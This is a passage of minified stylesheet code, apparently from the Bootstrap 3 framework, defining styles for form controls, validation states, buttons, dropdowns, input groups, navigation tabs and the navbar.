input[type=month],input[type=date].input-sm,input[type=time].input-sm,input[type=datetime-local].input-sm,input[type=month].input-sm{line-height:30px}.input-group-lg input[type=date],.input-group-lg input[type=time],.input-group-lg input[type=datetime-local],.input-group-lg input[type=month],input[type=date].input-lg,input[type=time].input-lg,input[type=datetime-local].input-lg,input[type=month].input-lg{line-height:46px}}.form-group{margin-bottom:15px}.checkbox,.radio{position:relative;display:block;margin-top:10px;margin-bottom:10px}.checkbox label,.radio label{min-height:20px;padding-left:20px;margin-bottom:0;font-weight:400;cursor:pointer}.checkbox input[type=checkbox],.checkbox-inline input[type=checkbox],.radio input[type=radio],.radio-inline input[type=radio]{position:absolute;margin-top:4px\9;margin-left:-20px}.checkbox+.checkbox,.radio+.radio{margin-top:-5px}.checkbox-inline,.radio-inline{position:relative;display:inline-block;padding-left:20px;margin-bottom:0;font-weight:400;vertical-align:middle;cursor:pointer}.checkbox-inline+.checkbox-inline,.radio-inline+.radio-inline{margin-top:0;margin-left:10px}fieldset[disabled] input[type=checkbox],fieldset[disabled] input[type=radio],input[type=checkbox].disabled,input[type=checkbox][disabled],input[type=radio].disabled,input[type=radio][disabled]{cursor:not-allowed}.checkbox-inline.disabled,.radio-inline.disabled,fieldset[disabled] .checkbox-inline,fieldset[disabled] .radio-inline{cursor:not-allowed}.checkbox.disabled label,.radio.disabled label,fieldset[disabled] .checkbox label,fieldset[disabled] .radio label{cursor:not-allowed}.form-control-static{min-height:34px;padding-top:7px;padding-bottom:7px;margin-bottom:0}.form-control-static.input-lg,.form-control-static.input-sm{padding-right:0;padding-left:0}.input-sm{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-sm{height:30px;line-height:30px}select[multiple].input-sm,textarea.input-sm{height:auto}.form-group-sm .form-control{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.form-group-sm select.form-control{height:30px;line-height:30px}.form-group-sm select[multiple].form-control,.form-group-sm textarea.form-control{height:auto}.form-group-sm .form-control-static{height:30px;min-height:32px;padding:6px 10px;font-size:12px;line-height:1.5}.input-lg{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.input-lg{height:46px;line-height:46px}select[multiple].input-lg,textarea.input-lg{height:auto}.form-group-lg .form-control{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}.form-group-lg select.form-control{height:46px;line-height:46px}.form-group-lg select[multiple].form-control,.form-group-lg textarea.form-control{height:auto}.form-group-lg .form-control-static{height:46px;min-height:38px;padding:11px 16px;font-size:18px;line-height:1.3333333}.has-feedback{position:relative}.has-feedback .form-control{padding-right:42.5px}.form-control-feedback{position:absolute;top:0;right:0;z-index:2;display:block;width:34px;height:34px;line-height:34px;text-align:center;pointer-events:none}.form-group-lg .form-control+.form-control-feedback,.input-group-lg+.form-control-feedback,.input-lg+.form-control-feedback{width:46px;height:46px;line-height:46px}.form-group-sm .form-control+.form-control-feedback,.input-group-sm+.form-control-feedback,.input-sm+.form-control-feedback{width:30px;height:30px;line-height:30px}.has-success .checkbox,.has-success .checkbox-inline,.has-success .control-label,.has-success .help-block,.has-success .radio,.has-success .radio-inline,.has-success.checkbox label,.has-success.checkbox-inline label,.has-success.radio label,.has-success.radio-inline label{color:#3c763d}.has-success .form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-success .form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168}.has-success .input-group-addon{color:#3c763d;background-color:#dff0d8;border-color:#3c763d}.has-success .form-control-feedback{color:#3c763d}.has-warning .checkbox,.has-warning .checkbox-inline,.has-warning .control-label,.has-warning .help-block,.has-warning .radio,.has-warning .radio-inline,.has-warning.checkbox label,.has-warning.checkbox-inline label,.has-warning.radio label,.has-warning.radio-inline label{color:#8a6d3b}.has-warning .form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-warning .form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b}.has-warning .input-group-addon{color:#8a6d3b;background-color:#fcf8e3;border-color:#8a6d3b}.has-warning .form-control-feedback{color:#8a6d3b}.has-error .checkbox,.has-error .checkbox-inline,.has-error .control-label,.has-error .help-block,.has-error .radio,.has-error .radio-inline,.has-error.checkbox label,.has-error.checkbox-inline label,.has-error.radio label,.has-error.radio-inline label{color:#a94442}.has-error .form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-error .form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483}.has-error .input-group-addon{color:#a94442;background-color:#f2dede;border-color:#a94442}.has-error .form-control-feedback{color:#a94442}.has-feedback label~.form-control-feedback{top:25px}.has-feedback label.sr-only~.form-control-feedback{top:0}.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media(min-width:768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-static{display:inline-block}.form-inline .input-group{display:inline-table;vertical-align:middle}.form-inline .input-group .form-control,.form-inline .input-group .input-group-addon,.form-inline .input-group .input-group-btn{width:auto}.form-inline .input-group>.form-control{width:100%}.form-inline .control-label{margin-bottom:0;vertical-align:middle}.form-inline .checkbox,.form-inline .radio{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.form-inline .checkbox label,.form-inline .radio label{padding-left:0}.form-inline .checkbox input[type=checkbox],.form-inline .radio input[type=radio]{position:relative;margin-left:0}.form-inline .has-feedback .form-control-feedback{top:0}}.form-horizontal .checkbox,.form-horizontal .checkbox-inline,.form-horizontal .radio,.form-horizontal .radio-inline{padding-top:7px;margin-top:0;margin-bottom:0}.form-horizontal .checkbox,.form-horizontal .radio{min-height:27px}.form-horizontal .form-group{margin-right:-15px;margin-left:-15px}@media(min-width:768px){.form-horizontal .control-label{padding-top:7px;margin-bottom:0;text-align:right}}.form-horizontal .has-feedback .form-control-feedback{right:15px}@media(min-width:768px){.form-horizontal .form-group-lg .control-label{padding-top:11px;font-size:18px}}@media(min-width:768px){.form-horizontal .form-group-sm .control-label{padding-top:6px;font-size:12px}}.btn{display:inline-block;padding:6px 12px;margin-bottom:0;font-size:14px;font-weight:400;line-height:1.42857143;text-align:center;white-space:nowrap;vertical-align:middle;-ms-touch-action:manipulation;touch-action:manipulation;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-image:none;border:1px solid transparent;border-radius:4px}.btn.active.focus,.btn.active:focus,.btn.focus,.btn:active.focus,.btn:active:focus,.btn:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.focus,.btn:focus,.btn:hover{color:#333;text-decoration:none}.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn.disabled,.btn[disabled],fieldset[disabled] .btn{cursor:not-allowed;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none;opacity:.65}a.btn.disabled,fieldset[disabled] a.btn{pointer-events:none}.btn-default{color:#333;background-color:#fff;border-color:#ccc}.btn-default.focus,.btn-default:focus{color:#333;background-color:#e6e6e6;border-color:#8c8c8c}.btn-default:hover{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default.active,.btn-default:active,.open>.dropdown-toggle.btn-default{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default.active.focus,.btn-default.active:focus,.btn-default.active:hover,.btn-default:active.focus,.btn-default:active:focus,.btn-default:active:hover,.open>.dropdown-toggle.btn-default.focus,.open>.dropdown-toggle.btn-default:focus,.open>.dropdown-toggle.btn-default:hover{color:#333;background-color:#d4d4d4;border-color:#8c8c8c}.btn-default.active,.btn-default:active,.open>.dropdown-toggle.btn-default{background-image:none}.btn-default.disabled.focus,.btn-default.disabled:focus,.btn-default.disabled:hover,.btn-default[disabled].focus,.btn-default[disabled]:focus,.btn-default[disabled]:hover,fieldset[disabled] .btn-default.focus,fieldset[disabled] .btn-default:focus,fieldset[disabled] .btn-default:hover{background-color:#fff;border-color:#ccc}.btn-default .badge{color:#fff;background-color:#333}.btn-primary{color:#fff;background-color:#337ab7;border-color:#2e6da4}.btn-primary.focus,.btn-primary:focus{color:#fff;background-color:#286090;border-color:#122b40}.btn-primary:hover{color:#fff;background-color:#286090;border-color:#204d74}.btn-primary.active,.btn-primary:active,.open>.dropdown-toggle.btn-primary{color:#fff;background-color:#286090;border-color:#204d74}.btn-primary.active.focus,.btn-primary.active:focus,.btn-primary.active:hover,.btn-primary:active.focus,.btn-primary:active:focus,.btn-primary:active:hover,.open>.dropdown-toggle.btn-primary.focus,.open>.dropdown-toggle.btn-primary:focus,.open>.dropdown-toggle.btn-primary:hover{color:#fff;background-color:#204d74;border-color:#122b40}.btn-primary.active,.btn-primary:active,.open>.dropdown-toggle.btn-primary{background-image:none}.btn-primary.disabled.focus,.btn-primary.disabled:focus,.btn-primary.disabled:hover,.btn-primary[disabled].focus,.btn-primary[disabled]:focus,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary.focus,fieldset[disabled] .btn-primary:focus,fieldset[disabled] .btn-primary:hover{background-color:#337ab7;border-color:#2e6da4}.btn-primary .badge{color:#337ab7;background-color:#fff}.btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.btn-success.focus,.btn-success:focus{color:#fff;background-color:#449d44;border-color:#255625}.btn-success:hover{color:#fff;background-color:#449d44;border-color:#398439}.btn-success.active,.btn-success:active,.open>.dropdown-toggle.btn-success{color:#fff;background-color:#449d44;border-color:#398439}.btn-success.active.focus,.btn-success.active:focus,.btn-success.active:hover,.btn-success:active.focus,.btn-success:active:focus,.btn-success:active:hover,.open>.dropdown-toggle.btn-success.focus,.open>.dropdown-toggle.btn-success:focus,.open>.dropdown-toggle.btn-success:hover{color:#fff;background-color:#398439;border-color:#255625}.btn-success.active,.btn-success:active,.open>.dropdown-toggle.btn-success{background-image:none}.btn-success.disabled.focus,.btn-success.disabled:focus,.btn-success.disabled:hover,.btn-success[disabled].focus,.btn-success[disabled]:focus,.btn-success[disabled]:hover,fieldset[disabled] .btn-success.focus,fieldset[disabled] .btn-success:focus,fieldset[disabled] .btn-success:hover{background-color:#5cb85c;border-color:#4cae4c}.btn-success .badge{color:#5cb85c;background-color:#fff}.btn-info{color:#fff;background-color:#5bc0de;border-color:#46b8da}.btn-info.focus,.btn-info:focus{color:#fff;background-color:#31b0d5;border-color:#1b6d85}.btn-info:hover{color:#fff;background-color:#31b0d5;border-color:#269abc}.btn-info.active,.btn-info:active,.open>.dropdown-toggle.btn-info{color:#fff;background-color:#31b0d5;border-color:#269abc}.btn-info.active.focus,.btn-info.active:focus,.btn-info.active:hover,.btn-info:active.focus,.btn-info:active:focus,.btn-info:active:hover,.open>.dropdown-toggle.btn-info.focus,.open>.dropdown-toggle.btn-info:focus,.open>.dropdown-toggle.btn-info:hover{color:#fff;background-color:#269abc;border-color:#1b6d85}.btn-info.active,.btn-info:active,.open>.dropdown-toggle.btn-info{background-image:none}.btn-info.disabled.focus,.btn-info.disabled:focus,.btn-info.disabled:hover,.btn-info[disabled].focus,.btn-info[disabled]:focus,.btn-info[disabled]:hover,fieldset[disabled] .btn-info.focus,fieldset[disabled] .btn-info:focus,fieldset[disabled] .btn-info:hover{background-color:#5bc0de;border-color:#46b8da}.btn-info .badge{color:#5bc0de;background-color:#fff}.btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.btn-warning.focus,.btn-warning:focus{color:#fff;background-color:#ec971f;border-color:#985f0d}.btn-warning:hover{color:#fff;background-color:#ec971f;border-color:#d58512}.btn-warning.active,.btn-warning:active,.open>.dropdown-toggle.btn-warning{color:#fff;background-color:#ec971f;border-color:#d58512}.btn-warning.active.focus,.btn-warning.active:focus,.btn-warning.active:hover,.btn-warning:active.focus,.btn-warning:active:focus,.btn-warning:active:hover,.open>.dropdown-toggle.btn-warning.focus,.open>.dropdown-toggle.btn-warning:focus,.open>.dropdown-toggle.btn-warning:hover{color:#fff;background-color:#d58512;border-color:#985f0d}.btn-warning.active,.btn-warning:active,.open>.dropdown-toggle.btn-warning{background-image:none}.btn-warning.disabled.focus,.btn-warning.disabled:focus,.btn-warning.disabled:hover,.btn-warning[disabled].focus,.btn-warning[disabled]:focus,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning.focus,fieldset[disabled] .btn-warning:focus,fieldset[disabled] .btn-warning:hover{background-color:#f0ad4e;border-color:#eea236}.btn-warning .badge{color:#f0ad4e;background-color:#fff}.btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.btn-danger.focus,.btn-danger:focus{color:#fff;background-color:#c9302c;border-color:#761c19}.btn-danger:hover{color:#fff;background-color:#c9302c;border-color:#ac2925}.btn-danger.active,.btn-danger:active,.open>.dropdown-toggle.btn-danger{color:#fff;background-color:#c9302c;border-color:#ac2925}.btn-danger.active.focus,.btn-danger.active:focus,.btn-danger.active:hover,.btn-danger:active.focus,.btn-danger:active:focus,.btn-danger:active:hover,.open>.dropdown-toggle.btn-danger.focus,.open>.dropdown-toggle.btn-danger:focus,.open>.dropdown-toggle.btn-danger:hover{color:#fff;background-color:#ac2925;border-color:#761c19}.btn-danger.active,.btn-danger:active,.open>.dropdown-toggle.btn-danger{background-image:none}.btn-danger.disabled.focus,.btn-danger.disabled:focus,.btn-danger.disabled:hover,.btn-danger[disabled].focus,.btn-danger[disabled]:focus,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger.focus,fieldset[disabled] .btn-danger:focus,fieldset[disabled] .btn-danger:hover{background-color:#d9534f;border-color:#d43f3a}.btn-danger .badge{color:#d9534f;background-color:#fff}.btn-link{font-weight:400;color:#337ab7;border-radius:0}.btn-link,.btn-link.active,.btn-link:active,.btn-link[disabled],fieldset[disabled] .btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link,.btn-link:active,.btn-link:focus,.btn-link:hover{border-color:transparent}.btn-link:focus,.btn-link:hover{color:#23527c;text-decoration:underline;background-color:transparent}.btn-link[disabled]:focus,.btn-link[disabled]:hover,fieldset[disabled] .btn-link:focus,fieldset[disabled] .btn-link:hover{color:#777;text-decoration:none}.btn-group-lg>.btn,.btn-lg{padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}.btn-group-sm>.btn,.btn-sm{padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.btn-group-xs>.btn,.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:5px}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity .15s linear;-o-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}.collapse{display:none}.collapse.in{display:block}tr.collapse.in{display:table-row}tbody.collapse.in{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition-timing-function:ease;-o-transition-timing-function:ease;transition-timing-function:ease;-webkit-transition-duration:.35s;-o-transition-duration:.35s;transition-duration:.35s;-webkit-transition-property:height,visibility;-o-transition-property:height,visibility;transition-property:height,visibility}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px dashed;border-top:4px solid\9;border-right:4px solid transparent;border-left:4px solid transparent}.dropdown,.dropup{position:relative}.dropdown-toggle:focus{outline:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;font-size:14px;text-align:left;list-style:none;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,.175);box-shadow:0 6px 12px rgba(0,0,0,.175)}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:400;line-height:1.42857143;color:#333;white-space:nowrap}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{color:#262626;text-decoration:none;background-color:#f5f5f5}.dropdown-menu>.active>a,.dropdown-menu>.active>a:focus,.dropdown-menu>.active>a:hover{color:#fff;text-decoration:none;background-color:#337ab7;outline:0}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{color:#777}.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{text-decoration:none;cursor:not-allowed;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.open>.dropdown-menu{display:block}.open>a{outline:0}.dropdown-menu-right{right:0;left:auto}.dropdown-menu-left{right:auto;left:0}.dropdown-header{display:block;padding:3px 20px;font-size:12px;line-height:1.42857143;color:#777;white-space:nowrap}.dropdown-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:990}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{content:"";border-top:0;border-bottom:4px dashed;border-bottom:4px solid\9}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:2px}@media(min-width:768px){.navbar-right .dropdown-menu{right:0;left:auto}.navbar-right .dropdown-menu-left{right:auto;left:0}}.btn-group,.btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;float:left}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:hover,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus,.btn-group>.btn:hover{z-index:2}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{margin-left:-5px}.btn-toolbar .btn,.btn-toolbar .btn-group,.btn-toolbar .input-group{float:left}.btn-toolbar>.btn,.btn-toolbar>.btn-group,.btn-toolbar>.input-group{margin-left:5px}.btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle){border-radius:0}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn:last-child:not(:first-child),.btn-group>.dropdown-toggle:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.btn-group>.btn-group{float:left}.btn-group>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-bottom-left-radius:0}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0}.btn-group>.btn+.dropdown-toggle{padding-right:8px;padding-left:8px}.btn-group>.btn-lg+.dropdown-toggle{padding-right:12px;padding-left:12px}.btn-group.open .dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-group.open .dropdown-toggle.btn-link{-webkit-box-shadow:none;box-shadow:none}.btn .caret{margin-left:0}.btn-lg .caret{border-width:5px 5px 0;border-bottom-width:0}.dropup .btn-lg .caret{border-width:0 5px 5px}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group,.btn-group-vertical>.btn-group>.btn{display:block;float:none;width:100%;max-width:100%}.btn-group-vertical>.btn-group>.btn{float:none}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:first-child):not(:last-child){border-radius:0}.btn-group-vertical>.btn:first-child:not(:last-child){border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:last-child:not(:first-child){border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}.btn-group-vertical>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group-vertical>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group-vertical>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-top-right-radius:0}.btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate}.btn-group-justified>.btn,.btn-group-justified>.btn-group{display:table-cell;float:none;width:1%}.btn-group-justified>.btn-group .btn{width:100%}.btn-group-justified>.btn-group .dropdown-menu{left:auto}[data-toggle=buttons]>.btn input[type=checkbox],[data-toggle=buttons]>.btn input[type=radio],[data-toggle=buttons]>.btn-group>.btn input[type=checkbox],[data-toggle=buttons]>.btn-group>.btn input[type=radio]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:table;border-collapse:separate}.input-group[class*=col-]{float:none;padding-right:0;padding-left:0}.input-group .form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.input-group .form-control:focus{z-index:3}.input-group-lg>.form-control,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.btn{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.input-group-lg>.form-control,select.input-group-lg>.input-group-addon,select.input-group-lg>.input-group-btn>.btn{height:46px;line-height:46px}select[multiple].input-group-lg>.form-control,select[multiple].input-group-lg>.input-group-addon,select[multiple].input-group-lg>.input-group-btn>.btn,textarea.input-group-lg>.form-control,textarea.input-group-lg>.input-group-addon,textarea.input-group-lg>.input-group-btn>.btn{height:auto}.input-group-sm>.form-control,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.btn{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-group-sm>.form-control,select.input-group-sm>.input-group-addon,select.input-group-sm>.input-group-btn>.btn{height:30px;line-height:30px}select[multiple].input-group-sm>.form-control,select[multiple].input-group-sm>.input-group-addon,select[multiple].input-group-sm>.input-group-btn>.btn,textarea.input-group-sm>.form-control,textarea.input-group-sm>.input-group-addon,textarea.input-group-sm>.input-group-btn>.btn{height:auto}.input-group .form-control,.input-group-addon,.input-group-btn{display:table-cell}.input-group .form-control:not(:first-child):not(:last-child),.input-group-addon:not(:first-child):not(:last-child),.input-group-btn:not(:first-child):not(:last-child){border-radius:0}.input-group-addon,.input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.input-group-addon{padding:6px 12px;font-size:14px;font-weight:400;line-height:1;color:#555;text-align:center;background-color:#eee;border:1px solid #ccc;border-radius:4px}.input-group-addon.input-sm{padding:5px 10px;font-size:12px;border-radius:3px}.input-group-addon.input-lg{padding:10px 16px;font-size:18px;border-radius:6px}.input-group-addon input[type=checkbox],.input-group-addon input[type=radio]{margin-top:0}.input-group .form-control:first-child,.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn-group:not(:last-child)>.btn,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.input-group-addon:first-child{border-right:0}.input-group .form-control:last-child,.input-group-addon:last-child,.input-group-btn:first-child>.btn-group:not(:first-child)>.btn,.input-group-btn:first-child>.btn:not(:first-child),.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group>.btn,.input-group-btn:last-child>.dropdown-toggle{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-addon:last-child{border-left:0}.input-group-btn{position:relative;font-size:0;white-space:nowrap}.input-group-btn>.btn{position:relative}.input-group-btn>.btn+.btn{margin-left:-1px}.input-group-btn>.btn:active,.input-group-btn>.btn:focus,.input-group-btn>.btn:hover{z-index:2}.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group{margin-right:-1px}.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group{z-index:2;margin-left:-1px}.nav{padding-left:0;margin-bottom:0;list-style:none}.nav>li{position:relative;display:block}.nav>li>a{position:relative;display:block;padding:10px 15px}.nav>li>a:focus,.nav>li>a:hover{text-decoration:none;background-color:#eee}.nav>li.disabled>a{color:#777}.nav>li.disabled>a:focus,.nav>li.disabled>a:hover{color:#777;text-decoration:none;cursor:not-allowed;background-color:transparent}.nav .open>a,.nav .open>a:focus,.nav .open>a:hover{background-color:#eee;border-color:#337ab7}.nav .nav-divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.nav>li>a>img{max-width:none}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{float:left;margin-bottom:-1px}.nav-tabs>li>a{margin-right:2px;line-height:1.42857143;border:1px solid transparent;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.nav-tabs>li.active>a,.nav-tabs>li.active>a:focus,.nav-tabs>li.active>a:hover{color:#555;cursor:default;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent}.nav-tabs.nav-justified{width:100%;border-bottom:0}.nav-tabs.nav-justified>li{float:none}.nav-tabs.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-tabs.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media(min-width:768px){.nav-tabs.nav-justified>li{display:table-cell;width:1%}.nav-tabs.nav-justified>li>a{margin-bottom:0}}.nav-tabs.nav-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover{border:1px solid #ddd}@media(min-width:768px){.nav-tabs.nav-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover{border-bottom-color:#fff}}.nav-pills>li{float:left}.nav-pills>li>a{border-radius:4px}.nav-pills>li+li{margin-left:2px}.nav-pills>li.active>a,.nav-pills>li.active>a:focus,.nav-pills>li.active>a:hover{color:#fff;background-color:#337ab7}.nav-stacked>li{float:none}.nav-stacked>li+li{margin-top:2px;margin-left:0}.nav-justified{width:100%}.nav-justified>li{float:none}.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media(min-width:768px){.nav-justified>li{display:table-cell;width:1%}.nav-justified>li>a{margin-bottom:0}}.nav-tabs-justified{border-bottom:0}.nav-tabs-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:focus,.nav-tabs-justified>.active>a:hover{border:1px solid #ddd}@media(min-width:768px){.nav-tabs-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:focus,.nav-tabs-justified>.active>a:hover{border-bottom-color:#fff}}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.navbar{position:relative;min-height:50px;margin-bottom:20px;border:1px solid transparent}@media(min-width:768px){.navbar{border-radius:4px}}@media(min-width:768px){.navbar-header{float:left}}.navbar-collapse{padding-right:15px;padding-left:15px;overflow-x:visible;-webkit-overflow-scrolling:touch;border-top:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1)}.navbar-collapse.in{overflow-y:auto}@media(min-width:768px){.navbar-collapse{width:auto;border-top:0;-webkit-box-shadow:none;box-shadow:none}.navbar-collapse.collapse{display:block !important;height:auto !important;padding-bottom:0;overflow:visible !important}.navbar-collapse.in{overflow-y:visible}.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse,.navbar-static-top .navbar-collapse{padding-right:0;padding-left:0}}.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse{max-height:340px}@media(max-device-width:480px) and (orientation:landscape){.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse{max-height:200px}}.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.container>.navbar-collapse,.container>.navbar-header{margin-right:-15px;margin-left:-15px}@media(min-width:768px){.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.container>.navbar-collapse,.container>.navbar-header{margin-right:0;margin-left:0}}.navbar-static-top{z-index:1000;border-width:0 0 